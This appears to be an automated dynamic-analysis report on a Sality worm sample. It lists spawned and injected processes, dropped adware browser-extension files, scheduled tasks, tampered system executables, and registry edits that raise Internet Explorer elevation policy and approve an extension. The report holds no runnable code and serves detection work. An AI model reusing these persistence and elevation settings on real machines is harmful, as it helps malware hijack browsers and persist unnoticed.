Win32.Sality.OG_415abb1224

Dynamic Analysis

Payload

Behaviour	Description
WormAutorun	A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Worm's file once a user opens a drive's folder in Windows Explorer.

Process activity

The Worm creates the following process(es):

875f2efa-2a31-4c0f-be39-9293cb48929c-2.exe:2560
Qvalysaly.exe:2176
%original file name%.exe:1860
875f2efa-2a31-4c0f-be39-9293cb48929c-4.exe:1180
875f2efa-2a31-4c0f-be39-9293cb48929c-3.exe:508
WINMINE.EXE:1048
WINMINE.EXE:3776
WINMINE.EXE:544
Freeven pro-codedownloader.exe:2144
Freeven pro-codedownloader.exe:720
NOTEPAD.EXE:2288
NOTEPAD.EXE:2120
NOTEPAD.EXE:2332
NOTEPAD.EXE:556
NOTEPAD.EXE:836
NOTEPAD.EXE:2228
NOTEPAD.EXE:3472
NOTEPAD.EXE:2524
NOTEPAD.EXE:2604
NOTEPAD.EXE:3804
NOTEPAD.EXE:2896
NOTEPAD.EXE:3944
NOTEPAD.EXE:1136
NOTEPAD.EXE:3852
NOTEPAD.EXE:2152
NOTEPAD.EXE:296
NOTEPAD.EXE:2516
NOTEPAD.EXE:2188
NOTEPAD.EXE:3896
netsh.exe:2816
netsh.exe:872
notepad.exe:2056
regsvr32.exe:2376
Freeven pro-bg.exe:2444

The Worm injects its code into the following process(es):

netsh.exe:3068
Explorer.EXE:884

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process Qvalysaly.exe:2176 makes changes in the file system.

The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\update[1].json (39 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\72.js (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\userCode\background.js (429 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\manifest.xml (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\93.js (793 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\1.js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\104.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\ExecDos.dll (5 bytes)
%Program Files%\Freeven pro\background.html (729 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\md5dll.dll (6 bytes)
%WinDir%\Tasks\875f2efa-2a31-4c0f-be39-9293cb48929c-4.job (70 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\userCode\extension.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\182.js (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\47.js (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\14.js (784 bytes)
%Program Files%\Freeven pro\Freeven pro-bg.exe (3073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\44.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\28.js (536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\nsisos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\StdUtils.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\141988 (195663 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\64.js (2 bytes)
%Program Files%\Freeven pro\utils.exe (68126 bytes)
%Program Files%\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-2.exe (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\46.js (2 bytes)
%Program Files%\Freeven pro\54248.crx (1425 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\13.js (6 bytes)
%Program Files%\Freeven pro\Freeven pro-codedownloader.exe (3073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\223.js (453 bytes)
%Program Files%\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-4.exe (5873 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\38.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\22.js (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\42.js (6 bytes)
%WinDir%\Tasks\875f2efa-2a31-4c0f-be39-9293cb48929c-3.job (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\246.js (2 bytes)
%Program Files%\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-3.exe (13122 bytes)
%Program Files%\Freeven pro\Uninstall.exe (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\39.js (4 bytes)
%Program Files%\Freeven pro\360-54248.crx (1425 bytes)
%Program Files%\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-5.exe (1425 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\21.js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\40.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\91.js (5520 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\242.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\177.js (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\4.js (3312 bytes)
%WinDir%\Tasks\875f2efa-2a31-4c0f-be39-9293cb48929c-2.job (70 bytes)
%WinDir%\Tasks\875f2efa-2a31-4c0f-be39-9293cb48929c-1.job (70 bytes)
%Program Files%\Freeven pro\54248.xpi (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\207.js (1 bytes)
%WinDir%\Tasks\temp_875f2efa-2a31-4c0f-be39-9293cb48929c-2.job (138 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\43.js (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\191.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\78.js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\2.js (63 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins.json (12 bytes)
%WinDir%\Tasks\875f2efa-2a31-4c0f-be39-9293cb48929c-5.job (70 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\InstallerUtils2.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\36.js (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\184.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\37.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\45.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\41.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\103.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\35.js (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\244.js (501 bytes)
%Program Files%\Freeven pro\Freeven pro.ico (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\3.js (63 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\InstallerUtils.dll (25776 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\183.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\462018 (741774 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\17.js (2392 bytes)
%Program Files%\Freeven pro\Freeven pro-bho.dll (3073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp (288023 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\102.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\94.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\update.json (39 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\40.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\39.js (0 bytes)
%WinDir%\Tasks\temp_875f2efa-2a31-4c0f-be39-9293cb48929c-2.job (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\manifest.xml (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\1.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\104.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\ExecDos.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\38.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\userCode\extension.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\182.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\14.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\44.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\28.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\35.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\nsisos.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\64.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\207.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\13.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\userCode (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\md5dll.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\223.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\46.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\22.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\42.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\UserInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\141988 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\246.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\103.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\94.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\StdUtils.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\21.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\91.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\242.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\177.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\4.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\43.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\191.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\78.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\2.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\userCode\background.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\InstallerUtils2.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\36.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\184.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\37.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\45.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\InstallerUtils.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\41.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\244.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\update.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\47.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\3.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\93.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\183.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\462018 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\17.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\102.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\72.js (0 bytes)

The process %original file name%.exe:1860 makes changes in the file system.

The Worm creates and/or writes to the following file(s):

%WinDir%\system.ini (72 bytes)
%Program Files%\Adobe\Reader 9.0\Reader\READER_SL.EXE (432 bytes)
%Program Files%\Common Files\Java\Java Update\jusched.exe (856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\Jdwqkklr.tmp (217971 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\Qvalysaly.exe (861462 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\WrapperUtils.dll (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\rmlukm.exe (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss2.tmp (232535 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\00125F9D_Rar\%original file name%.exe (53142 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\StdUtils.dll (14 bytes)

The Worm deletes the following file(s):

C:\1268b5 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\WrapperUtils.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\Jdwqkklr.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\Qvalysaly.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\rmlukm.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\StdUtils.dll (0 bytes)

The process Freeven pro-codedownloader.exe:2144 makes changes in the file system.

The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\220[1].js (19033 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\273[1].js (903 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\plugins[1].json (4153 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\375[1].js (679 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\195[1].js (408 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\set_campaign_id_m[1].js (508 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\manifest[1].xml (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\102[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\380[1].js (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\200[1].js (807 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\9[1].js (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\233[1].js (867 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\184[1].js (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\7[1].js (683 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\391[1].js (795 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\193[1].js (867 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\jquery-1_7_1_min[1].js (44457 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\246[1].js (769 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\253[1].js (735 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\354[1].js (60025 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\242[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\334[1].js (967 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\376[1].js (1417 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\223[1].js (823 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\288[1].js (963 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\app_code[1].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\180[1].js (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\42[1].js (769 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\281[1].js (455 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\390[1].js (823 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\91[1].js (87921 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\230[1].js (867 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\221[1].js (413 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\345[1].js (645 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\260[1].js (823 bytes)

Registry activity

The process 875f2efa-2a31-4c0f-be39-9293cb48929c-2.exe:2560 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "63 70 A8 35 12 DD FA 56 E9 E9 FA B5 DB 85 9F 5A"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{974EFC85-F703-400D-9C26-E221ADA87A77}]
"AppName" = "875f2efa-2a31-4c0f-be39-9293cb48929c-2.exe-helper.exe"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{B8DE1ED5-AE5C-46B0-977B-DB47DDB4BEB0}]
"AppName" = "875f2efa-2a31-4c0f-be39-9293cb48929c-2.exe-codedownloader.exe"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E09BE7F8-87B7-4C2F-A91B-A1AB8136E2E0}]
"AppPath" = "%Program Files%\Freeven pro"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{974EFC85-F703-400D-9C26-E221ADA87A77}]
"Policy" = "3"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E09BE7F8-87B7-4C2F-A91B-A1AB8136E2E0}]
"Policy" = "3"

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{11111111-1111-1111-1111-110511421148}" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID]
"{11111111-1111-1111-1111-110511421148}" = "1"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E09BE7F8-87B7-4C2F-A91B-A1AB8136E2E0}]
"AppName" = "875f2efa-2a31-4c0f-be39-9293cb48929c-2.exe-buttonutil.exe"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1D66F07-4C64-4269-A437-CF91D56C0C8}]
"AppPath" = "%Program Files%\Freeven pro"
"Policy" = "3"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{974EFC85-F703-400D-9C26-E221ADA87A77}]
"AppPath" = "%Program Files%\Freeven pro"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{B8DE1ED5-AE5C-46B0-977B-DB47DDB4BEB0}]
"Policy" = "3"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1D66F07-4C64-4269-A437-CF91D56C0C8}]
"AppName" = "875f2efa-2a31-4c0f-be39-9293cb48929c-2.exe-buttonutil64.exe"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{B8DE1ED5-AE5C-46B0-977B-DB47DDB4BEB0}]
"AppPath" = "%Program Files%\Freeven pro"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"Timestamp"

The process Qvalysaly.exe:2176 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Freeven pro]
"DisplayVersion" = "1.34.5.4"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn6.tmp\extensionData\,"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Freeven pro]
"UninstallString" = "%Program Files%\Freeven pro\Uninstall.exe /fcp=1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION]
"Freeven pro-bg.exe" = "8000"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Freeven pro\Installer]
"BundledFirefox" = "1"

[HKCU\Software\InstalledBrowserExtensions\Freeven]
"54248" = "Freeven pro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\InstalledBrowserExtensions\21636]
"54248" = "Freeven pro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\InstalledBrowserExtensions\21636\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Freeven pro]
"CrPublisherId" = "21636"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{659b6120-4382-4bc8-90ac-af2cb70f13e4}]
"Policy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{659b6120-4382-4bc8-90ac-af2cb70f13e4}]
"AppPath" = "%Program Files%\Freeven pro"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21636]
"54248" = "Freeven pro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21636\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{659b6120-4382-4bc8-90ac-af2cb70f13e4}]
"AppName" = "Freeven pro-bg.exe"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Freeven pro]
"DisplayName" = "Freeven pro"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{cb254c33-3cc0-4efd-8ccb-f7b15cfb57f5}]
"AppPath" = "%Program Files%\Freeven pro"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Freeven pro]
"DisplayIcon" = "%Program Files%\Freeven pro\utils.exe"

"Publisher" = "Freeven"

[HKLM\SOFTWARE\Freeven pro\Installer]
"BundledIe" = "1"

